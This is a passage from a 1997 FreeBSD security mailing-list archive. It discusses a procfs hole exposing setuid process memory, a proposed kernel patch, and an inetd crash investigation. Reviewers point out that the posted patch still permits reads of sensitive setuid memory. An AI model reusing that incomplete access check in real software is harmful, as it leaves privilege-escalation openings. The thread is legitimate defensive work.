-0700 (PDT) Date: Sun, 10 Aug 1997 17:42:54 -0800 From: Nicole Subject: Re: procfs hole To: Mark Huizer Cc: Brian Mitchell , freebsd-security@FreeBSD.ORG X-Mailer: Z-Mail Pro 6.1 (Win32 - 021297) Evaluation Copy, NetManage Inc. X-Priority: 3 (Normal) References: <19970810222459.47701@xaa.stack.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > ./h.sh: /bin: permission denied > > ./h.sh: /bin: permission denied > > u_char: not found > > ./h.sh: 15: Syntax error: word unexpected (expecting ")") > > > > What stupidly obvious thing am I missing... > > > > Basically that it's not a shell script but c-code, so you gotta compile it > first and run the resulting executable. > > save it as something (bla.c), then type 'make bla' in that dir and run it > with ./bla USERNAME > > Mark > Yup, I knew it was something stupid. I want to thank everyone that responded. It's so nice to be able to ask simple questions to learn without getting berated or flamed. I applaud you! Thanks again :> Nicole nicole@mediacity.com |\ __ /| (`\ http://www.mediacity.com Nicole Harrington | o_o |__ ) ) Phone: 415-237-1464 // \\ Pager: 415-301-2482 Systems Administrator ------------------------(((---(((------------------------------------- * What do you mean Spelling Errors? My Modem is Error Correcting! A cynic is an idealist who's tired. -- An ounce of image is worth a pound of performance. -- Courtesy is owed. Respect is earned. Love is given. -- ----------------------------------------------------------------------- From owner-freebsd-security Sun Aug 10 18:01:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA27823 for security-outgoing; Sun, 10 Aug 1997 18:01:42 -0700 (PDT) Received: from henry.cs.adfa.oz.au (henry.cs.adfa.oz.au [131.236.21.158]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA27815 for ; Sun, 10 Aug 1997 18:01:36 -0700 (PDT) Received: (from wkt@localhost) by henry.cs.adfa.oz.au (8.7.5/8.7.3) id LAA04674 for freebsd-security@freebsd.org; Mon, 11 Aug 1997 11:02:04 +1000 (EST) From: Warren Toomey Message-Id: <199708110102.LAA04674@henry.cs.adfa.oz.au> Subject: Inetd dumped core - why? To: freebsd-security@freebsd.org Date: Mon, 11 Aug 1997 11:02:04 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The inetd on my FreeBSD-2.1.7.1 box dumped core over the weekend. I've hunted thru the freebsd-security mail list archives in case there's a known attack involving inetd, without any luck. Has anybody any ideas as to what the problem might be? I've saved the core dump in case some clues may be found from it. Thanks in advance! Warren wkt@cs.adfa.oz.au From owner-freebsd-security Sun Aug 10 18:30:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA29225 for security-outgoing; Sun, 10 Aug 1997 18:30:12 -0700 (PDT) Received: from nak.myhouse.com (nak.myhouse.com [209.70.45.162]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA29220 for ; Sun, 10 Aug 1997 18:30:05 -0700 (PDT) Received: (qmail 20764 invoked by uid 1000); 11 Aug 1997 01:29:59 -0000 Date: Sun, 10 Aug 1997 21:29:59 -0400 (EDT) From: zoonie To: Brian Mitchell cc: freebsd-security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk could you email the patch to me please, i seem to have deleted it by mistake.... From owner-freebsd-security Sun Aug 10 20:04:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA04278 for security-outgoing; Sun, 10 Aug 1997 20:04:37 -0700 (PDT) Received: from henry.cs.adfa.oz.au (henry.cs.adfa.oz.au [131.236.21.158]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA04260 for ; Sun, 10 Aug 1997 20:04:26 -0700 (PDT) Received: (from wkt@localhost) by henry.cs.adfa.oz.au (8.7.5/8.7.3) id NAA04920; Mon, 11 Aug 1997 13:02:34 +1000 (EST) From: Warren Toomey Message-Id: <199708110302.NAA04920@henry.cs.adfa.oz.au> Subject: Re: Inetd dumped core - why? To: dbaker@wrangler.cuckoo.com (Daniel Baker) Date: Mon, 11 Aug 1997 13:02:34 +1000 (EST) Cc: freebsd-security@freebsd.org In-Reply-To: <199708110223.VAA00392@wrangler.cuckoo.com> from Daniel Baker at "Aug 10, 97 09:23:18 pm" X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article by Daniel Baker: > Did you look in /var/log/messages ? > There may be a reason in there as to why it died. I did, nothing logged there. The kernel logged the following: Aug 8 23:38:45 minnie /kernel: pid 89 (inetd), uid 0: exited on signal 11 which matches the core file: -rw------- 1 root wheel 208896 Aug 8 23:38 /Inetd.core (renamed) Sig 11 is of course SIGSEGV. gdb on inetd using the above core file gives: Core was generated by `inetd'. Program terminated with signal 11, Segmentation fault. #0 0x1d2f in main (argc=0, argv=0xefbfdeac, envp=0xefbfdeb4) at inetd.c:394 394 ctrl = sep->se_fd; and sep has a value of 0x2. The code leading up to this is: for (sep = servtab; n && sep; sep = sep->se_next) if (sep->se_fd != -1 && FD_ISSET(sep->se_fd, &readable)) { n--; if (debug) fprintf(stderr, "someone wants %s\n", sep->se_service); if (!sep->se_wait && sep->se_socktype == SOCK_STREAM) { /* BRANCH NOT TAKEN */ L51: .stabd 68,0,393 jmp L53 .align 2,0x90 } else (3 prev asm lines) L45: .stabd 68,0,394 movl -4(%ebp),%eax movl 112(%eax),%edx movl %edx,-224(%ebp) ctrl = sep->se_fd; (4 prev asm lines) The regs are: eax 0x34da 13530 ecx 0xefbfdd74 -272638604 edx 0x0 0 ebx 0x34da 13530 esp 0xefbfdd84 0xefbfdd84 ebp 0xefbfde84 0xefbfde84 esi 0x13700 79616 edi 0xc 12 eip 0x1d2f 0x1d2f ps 0x10202 66050 cs 0x1f 31 ss 0x27 39 ds 0xefbf0027 -272695257 es 0x10027 65575 I'm wondering if this is a stack overflow attack. Many of the local variables have very strange values: struct servtab *sep; 0x2 struct passwd *pwd; Cannot access memory at address 0x82001 struct sigvec sv; {sv_handler = 0xffffffff , sv_mask = 3, sv_flags = 8108} int tmpint, ch, dofork; 134238208, 0, 0 pid_t pid; 32 char buf[50]; {0xa8, 0xde, 0xbf, 0x0, 0x90, 0xde, 0xbf, 0xef, 0x60, 0x14, 0x0, 0x0, 0x40, 0x6d, 0x0, 0x8, 0xac, 0xde, 0xbf, 0xef, 0xa8, 0xde, 0xbf, 0xef, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0xcc, 0x0, 0x86, 0xc0, 0x0, 0xd0, 0x0, 0x0, 0x0, 0x20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} struct sockaddr_in peer; Seems ok, base address is 0xefbfde1c int i; -272638420 Finally, strings on inetd.core gives: $Id: inetd.c,v 1.6.2.2 1996/10/28 23:03:54 joerg Exp $ Hope this helps! Warren From owner-freebsd-security Sun Aug 10 20:16:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA04983 for security-outgoing; Sun, 10 Aug 1997 20:16:45 -0700 (PDT) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA04974; Sun, 10 Aug 1997 20:16:39 -0700 (PDT) From: Sean Eric Fagan Received: (from sef@localhost) by freefall.freebsd.org (8.8.6/8.8.5) id UAA14486; Sun, 10 Aug 1997 20:15:52 -0700 (PDT) Date: Sun, 10 Aug 1997 20:15:52 -0700 (PDT) Message-Id: <199708110315.UAA14486@freefall.freebsd.org> To: current@FreeBSD.ORG, security@FreeBSD.ORG Subject: procfs patch Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The following patch should fix the problem with procfs. These patches are to -current (well, a version I just checked out about an hour ago). I have 2.2-GAMMA diffs as well. Index: miscfs/procfs/procfs.h =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs.h,v retrieving revision 1.15 diff -u -r1.15 procfs.h --- procfs.h 1997/02/22 09:40:26 1.15 +++ procfs.h 1997/08/11 01:42:06 @@ -85,6 +85,18 @@ (bcmp((s), (cnp)->cn_nameptr, (len)) == 0)) #define KMEM_GROUP 2 + +/* + * Check to see whether access to target process is allowed + * Evaluates to 1 if access is allowed. + */ +#define CHECKIO(p1, p2) \ + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ + ((p2)->p_flag & P_SUGID) == 0) || \ + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) + /* * Format of a directory entry in /proc, ... * This must map onto struct dirent (see ) Index: miscfs/procfs/procfs_mem.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_mem.c,v retrieving revision 1.26 diff -u -r1.26 procfs_mem.c --- procfs_mem.c 1997/08/02 14:32:14 1.26 +++ procfs_mem.c 1997/08/11 01:44:26 @@ -277,6 +277,23 @@ if (uio->uio_resid == 0) return (0); + /* + * XXX + * We need to check for KMEM_GROUP because ps is sgid kmem; + * not allowing it here causes ps to not work properly. Arguably, + * this is a bug with what ps does. We only need to do this + * for Pmem nodes, and only if it's reading. This is still not + * good, as it may still be possible to grab illicit data if + * a process somehow gets to be KMEM_GROUP. Note that this also + * means that KMEM_GROUP can't change without editing procfs.h! + * All in all, quite yucky. + */ + + if (!CHECKIO(curp, p) && + ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) && + (uio->uio_rw != UIO_READ)) + return EPERM; + return (procfs_rwmem(p, uio)); } Index: miscfs/procfs/procfs_regs.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_regs.c,v retrieving revision 1.7 diff -u -r1.7 procfs_regs.c --- procfs_regs.c 1997/08/02 14:32:16 1.7 +++ procfs_regs.c 1997/08/11 01:42:06 @@ -60,6 +60,8 @@ char *kv; int kl; + if (!CHECKIO(curp, p)) + return EPERM; kl = sizeof(r); kv = (char *) &r; Index: miscfs/procfs/procfs_vnops.c =================================================================== RCS file: /home/ncvs/src/sys/miscfs/procfs/procfs_vnops.c,v retrieving revision 1.30 diff -u -r1.30 procfs_vnops.c --- procfs_vnops.c 1997/08/02 14:32:20 1.30 +++ procfs_vnops.c 1997/08/11 01:43:41 @@ -127,16 +127,21 @@ } */ *ap; { struct pfsnode *pfs = VTOPFS(ap->a_vp); + struct proc *p1 = ap->a_p, *p2 = PFIND(pfs->pfs_pid); + + if (p2 == NULL) + return ENOENT; switch (pfs->pfs_type) { case Pmem: - if (PFIND(pfs->pfs_pid) == 0) - return (ENOENT); /* was ESRCH, jsp */ - if ((pfs->pfs_flags & FWRITE) && (ap->a_mode & O_EXCL) || (pfs->pfs_flags & O_EXCL) && (ap->a_mode & FWRITE)) return (EBUSY); + if (!CHECKIO(p1, p2) && + (p1->p_cred->pc_ucred->cr_gid != KMEM_GROUP)) + return EPERM; + if (ap->a_mode & FWRITE) pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL); @@ -194,7 +199,6 @@ struct proc *a_p; } */ *ap; { - return (ENOTTY); } From owner-freebsd-security Sun Aug 10 23:43:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA16431 for security-outgoing; Sun, 10 Aug 1997 23:43:58 -0700 (PDT) Received: from www.buffalostate.edu (hummel@www.buffalostate.edu [136.183.2.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA16425 for ; Sun, 10 Aug 1997 23:43:47 -0700 (PDT) Received: from localhost (hummel@localhost) by www.buffalostate.edu (8.8.5/8.8.5) with SMTP id CAA10395 for ; Mon, 11 Aug 1997 02:43:49 -0400 Date: Mon, 11 Aug 1997 02:43:49 -0400 (EDT) From: Dave Hummel To: security@freebsd.org Subject: procfs.patch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >cd /usr/src/sys/miscfs >patch < /tmp/procfs.patch Is 'make all install' in the /usr/src/sys/miscfs directory the proper way of going about this? Also, how will modifying my code affect my cvsup. I assume the official patch/updated source code will just overwrite the modified files on my next cvsup(?) Thanks, Dave From owner-freebsd-security Mon Aug 11 02:50:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA24585 for security-outgoing; Mon, 11 Aug 1997 02:50:45 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA24580; Mon, 11 Aug 1997 02:50:37 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id CAA12034; Mon, 11 Aug 1997 02:53:05 -0700 (PDT) Message-Id: <199708110953.CAA12034@implode.root.com> To: Sean Eric Fagan cc: current@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: procfs patch In-reply-to: Your message of "Sun, 10 Aug 1997 20:15:52 PDT." <199708110315.UAA14486@freefall.freebsd.org> From: David Greenman Reply-To: dg@root.com Date: Mon, 11 Aug 1997 02:53:05 -0700 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >+ /* >+ * XXX >+ * We need to check for KMEM_GROUP because ps is sgid kmem; >+ * not allowing it here causes ps to not work properly. Arguably, >+ * this is a bug with what ps does. We only need to do this >+ * for Pmem nodes, and only if it's reading. This is still not >+ * good, as it may still be possible to grab illicit data if >+ * a process somehow gets to be KMEM_GROUP. Note that this also >+ * means that KMEM_GROUP can't change without editing procfs.h! >+ * All in all, quite yucky. >+ */ >+ >+ if (!CHECKIO(curp, p) && >+ ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) && >+ (uio->uio_rw != UIO_READ)) >+ return EPERM; If I read this right, you allow reads, correct? This would allow access to potentially sensitive information in the setuid process. If the above is changed to fail no matter what the operation, I think your fix should be okay. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Mon Aug 11 04:08:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA27461 for security-outgoing; Mon, 11 Aug 1997 04:08:18 -0700 (PDT) Received: from lsd.relcom.eu.net (ache@lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA27441; Mon, 11 Aug 1997 04:08:01 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id PAA28273; Mon, 11 Aug 1997 15:07:52 +0400 (MSD) Date: Mon, 11 Aug 1997 15:07:49 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net Reply-To: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= To: Sean Eric Fagan cc: current@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: <199708110315.UAA14486@freefall.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Sean Eric Fagan wrote: > +#define CHECKIO(p1, p2) \ > + ((((p1)->p_cred->pc_ucred->cr_uid == (p2)->p_cred->p_ruid) && \ > + ((p1)->p_cred->p_ruid == (p2)->p_cred->p_ruid) && \ > + ((p1)->p_cred->p_svuid == (p2)->p_cred->p_ruid) && \ > + ((p2)->p_flag & P_SUGID) == 0) || \ > + (suser((p1)->p_cred->pc_ucred, &(p1)->p_acflag) == 0)) Comparing uids gains absolutely nothing. The program can change uids many times and finaly do allowed combination. But "interesting" code or data from previous superuser mode can still left in the memory. I think any access to memory must be disallowed immediately after exec of setuid program issued by user (not setuid root) program. I.e. exec call must set some flag (in struct proc?) disabling procfs access and procfs call need to check this flag only. We also need some solution which completely disable access to parent memory from forked child because allowing it is against Unix ideology. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-security Mon Aug 11 07:04:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA04924 for security-outgoing; Mon, 11 Aug 1997 07:04:41 -0700 (PDT) Received: from netrail.net (netrail.net [205.215.10.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA04916; Mon, 11 Aug 1997 07:04:34 -0700 (PDT) Received: from localhost (jonz@localhost) by netrail.net (8.8.6/8.8.6) with SMTP id KAA03697; Mon, 11 Aug 1997 10:03:32 GMT Date: Mon, 11 Aug 1997 10:03:32 +0000 (GMT) From: "Jonathan A. Zdziarski" To: sef@freebsd.org cc: security@freebsd.org Subject: Procfs Patch Problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk After installing the procfs patch, I noticed that my 'w' is broken... USER TTY FROM LOGIN@ IDLE WHAT iguana Q0 207.22.119.2 9:52AM 2 - jonz Q1 d11.dial-1.lwr.m 9:37AM 2 - jonz Q2 d11.dial-1.lwr.m 9:41AM 2 - jonz Q3 d11.dial-1.lwr.m 9:59AM 2 - nathane Q4 billing.ATL 9:44AM 2 - keith Q5 paneer.ATL 9:56AM 2 - seast Q6 columbus.mxdii.c 9:56AM 2 - medvid Q7 sys719.dtic.mil 10:00AM 2 - For one, they're logging in as ttypx, not ttyQs, but for another it doesn't update idle time, or 'WHAT' . ------------------------------------------------------------------------- Jonathan A. Zdziarski NetRail Incorporated Server Engineering Manager 230 Peachtree St. Suite 500 jonz@netrail.net Atlanta, GA 30303 http://www.netrail.net (888) - NETRAIL ------------------------------------------------------------------------- From owner-freebsd-security Mon Aug 11 08:21:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA09436 for security-outgoing; Mon, 11 Aug 1997 08:21:40 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA09428; Mon, 11 Aug 1997 08:21:35 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id IAA07362; Mon, 11 Aug 1997 08:21:25 -0700 Date: Mon, 11 Aug 1997 08:21:25 -0700 From: Sean Eric Fagan Message-Id: <199708111521.IAA07362@kithrup.com> To: ache@nagual.pp.ru, current@freebsd.org, security@freebsd.org Subject: Re: procfs patch Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Comparing uids gains absolutely nothing. Yes, it does: it makes it useful. Tell me: how many applications do *you* have that use procfs? >The program can change uids many times and finaly do allowed combination. >But "interesting" code or data from previous superuser mode can still left >in the memory. My patch is no different than the situation with core files. If a process has your UID, you can make it dump core, and then examine its data. This is an extensio of that. >I think any access to memory must be disallowed immediately after exec of >setuid program issued by user (not setuid root) program. I.e. exec call >must set some flag (in struct proc?) disabling procfs access and procfs >call need to check this flag only. Gosh, that's what I had originally, and everyone didn't like *that*. (Frankly, neither did I.) Sean. From owner-freebsd-security Mon Aug 11 08:32:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA10280 for security-outgoing; Mon, 11 Aug 1997 08:32:59 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA10243 for ; Mon, 11 Aug 1997 08:32:52 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id IAA08173; Mon, 11 Aug 1997 08:32:43 -0700 Date: Mon, 11 Aug 1997 08:32:43 -0700 From: Sean Eric Fagan Message-Id: <199708111532.IAA08173@kithrup.com> To: jonz@netrail.net Subject: Re: Procfs Patch Problem Cc: security@freebsd.org Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >After installing the procfs patch, I noticed that my 'w' is broken... > >USER TTY FROM LOGIN@ IDLE WHAT >iguana Q0 207.22.119.2 9:52AM 2 - >jonz Q1 d11.dial-1.lwr.m 9:37AM 2 - >jonz Q2 d11.dial-1.lwr.m 9:41AM 2 - >jonz Q3 d11.dial-1.lwr.m 9:59AM 2 - >nathane Q4 billing.ATL 9:44AM 2 - >keith Q5 paneer.ATL 9:56AM 2 - >seast Q6 columbus.mxdii.c 9:56AM 2 - >medvid Q7 sys719.dtic.mil 10:00AM 2 - > >For one, they're logging in as ttypx, not ttyQs, but for another it >doesn't update idle time, or 'WHAT' . It works for me; I tried it as both root and a normal user. garth {10} w 8:31AM up 4 mins, 4 users, load averages: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE WHAT root v0 - 8:28AM 3 -csh (csh) sef v1 - 8:28AM - w sef v2 - 8:28AM - rlogin -L8 kithrup sef p0 kithrup.com 8:31AM - -tcsh (tcsh) Sean. From owner-freebsd-security Mon Aug 11 08:41:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA10716 for security-outgoing; Mon, 11 Aug 1997 08:41:15 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA10711; Mon, 11 Aug 1997 08:41:08 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id BAA18095; Tue, 12 Aug 1997 01:36:41 +1000 Date: Tue, 12 Aug 1997 01:36:41 +1000 From: Bruce Evans Message-Id: <199708111536.BAA18095@godzilla.zeta.org.au> To: ache@nagual.pp.ru, sef@FreeBSD.ORG Subject: Re: procfs patch Cc: current@FreeBSD.ORG, security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I think any access to memory must be disallowed immediately after exec of >setuid program issued by user (not setuid root) program. I.e. exec call >must set some flag (in struct proc?) disabling procfs access and procfs >call need to check this flag only. Just close the procfs file descriptors on exec? >We also need some solution which >completely disable access to parent memory from forked child because >allowing it is against Unix ideology. But it is exactly what rfork() provides. Unix ideology is that file descriptors are not affected on exec unless this is asked for. The rfork fd sharing fix is wrong, and closing procfs file descriptors would be wrong. The exec should fail instead if it would cause a security hole. Bruce From owner-freebsd-security Mon Aug 11 08:45:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA10971 for security-outgoing; Mon, 11 Aug 1997 08:45:14 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA10966; Mon, 11 Aug 1997 08:45:12 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id IAA08497; Mon, 11 Aug 1997 08:45:00 -0700 Date: Mon, 11 Aug 1997 08:45:00 -0700 From: Sean Eric Fagan Message-Id: <199708111545.IAA08497@kithrup.com> To: ache@nagual.pp.ru, bde@zeta.org.au Subject: Re: procfs patch Cc: current@FreeBSD.ORG, security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Just close the procfs file descriptors on exec? I thought about doing that. But I decided it was both too invasive, and too bothersome -- a root process would gets its fd's close, and it probably shouldn't. As I said, what I've got now should provide no more risks than dumping core does. Well, it allows for some greater control -- my truss program is not SUID root, and needs to be able to read process memory. But since the process should be owned by the user, I don't have a problem with it. Sean. From owner-freebsd-security Mon Aug 11 10:10:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA16791 for security-outgoing; Mon, 11 Aug 1997 10:10:59 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA16783; Mon, 11 Aug 1997 10:10:56 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.5/8.8.5) with UUCP id LAA13714; Mon, 11 Aug 1997 11:10:33 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id LAA06171; Mon, 11 Aug 1997 11:10:03 -0600 (MDT) Date: Mon, 11 Aug 1997 11:10:02 -0600 (MDT) From: Marc Slemko To: Sean Eric Fagan cc: ache@nagual.pp.ru, current@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: <199708111521.IAA07362@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Sean Eric Fagan wrote: > >The program can change uids many times and finaly do allowed combination. > >But "interesting" code or data from previous superuser mode can still left > >in the memory. > > My patch is no different than the situation with core files. If a process > has your UID, you can make it dump core, and then examine its data. This is > an extensio of that. No you can't. BTDT. If a process has done a setuid() (well, more accurately if it has done a setuid() that has changed the uid) it will not dump core. ISTR that on Linux it took an awfully long time to get all the security holes out of procfs. Well, all of the more serious ones that have been found so far. From owner-freebsd-security Mon Aug 11 10:24:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA17567 for security-outgoing; Mon, 11 Aug 1997 10:24:49 -0700 (PDT) Received: from super-g.inch.com (super-g.com [207.240.140.161]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA17544 for ; Mon, 11 Aug 1997 10:24:46 -0700 (PDT) Received: from localhost (spork@localhost) by super-g.inch.com (8.8.5/8.8.5) with SMTP id RAA04343; Mon, 11 Aug 1997 17:27:59 -0400 (EDT) Date: Mon, 11 Aug 1997 17:27:59 -0400 (EDT) From: spork X-Sender: spork@super-g.inch.com To: Brian Mitchell cc: "Jonathan A. Zdziarski" , bugtraq@netspace.org, freebsd-security@FreeBSD.ORG Subject: Re: procfs hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 10 Aug 1997, Brian Mitchell wrote: > any setuid program. As noted, the easiest way to avoid the problem is just > to disable procfs -- nobody really uses it anyways. Would anyone be willing to give a short explanation of the /proc filesystem and what the original conception of it accomplished? Thanks, Charles From owner-freebsd-security Mon Aug 11 11:25:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA21064 for security-outgoing; Mon, 11 Aug 1997 11:25:42 -0700 (PDT) Received: from whistle.com (s205m131.whistle.com [207.76.205.131]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA21055 for ; Mon, 11 Aug 1997 11:25:35 -0700 (PDT) Received: (from smap@localhost) by whistle.com (8.7.5/8.6.12) id LAA14634; Mon, 11 Aug 1997 11:25:02 -0700 (PDT) Received: from crab.whistle.com(207.76.205.112) by whistle.com via smap (V1.3) id smab14623; Mon Aug 11 11:24:59 1997 Received: (from ambrisko@localhost) by crab.whistle.com (8.8.5/8.6.12) id LAA03818; Mon, 11 Aug 1997 11:04:34 -0700 (PDT) From: Doug Ambrisko Message-Id: <199708111804.LAA03818@crab.whistle.com> Subject: Re: Inetd dumped core - why? In-Reply-To: <199708110102.LAA04674@henry.cs.adfa.oz.au> from Warren Toomey at "Aug 11, 97 11:02:04 am" To: wkt@henry.cs.adfa.oz.au (Warren Toomey) Date: Mon, 11 Aug 1997 11:04:34 -0700 (PDT) Cc: freebsd-security@FreeBSD.ORG, julian@whistle.com (Julian Elischer) X-Mailer: ELM [version 2.4ME+ PL29 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Warren Toomey writes: | The inetd on my FreeBSD-2.1.7.1 box dumped core over the weekend. I've hunted | thru the freebsd-security mail list archives in case there's a known attack | involving inetd, without any luck. Has anybody any ideas as to what the problem | might be? I've saved the core dump in case some clues may be found from it. We are trying to track down a similar problem here with 2.2-stable. We see it mostly on 16M 486 machines that fork off a lot of children and does a lot of swaping. What hardware are you running? Thanks, Doug A. From owner-freebsd-security Mon Aug 11 11:26:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA21119 for security-outgoing; Mon, 11 Aug 1997 11:26:43 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA21107 for ; Mon, 11 Aug 1997 11:26:39 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id LAA20143; Mon, 11 Aug 1997 11:26:38 -0700 Date: Mon, 11 Aug 1997 11:26:38 -0700 From: Sean Eric Fagan Message-Id: <199708111826.LAA20143@kithrup.com> To: security@freebsd.org Subject: Re: procfs hole In-Reply-To: References: Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article you write: 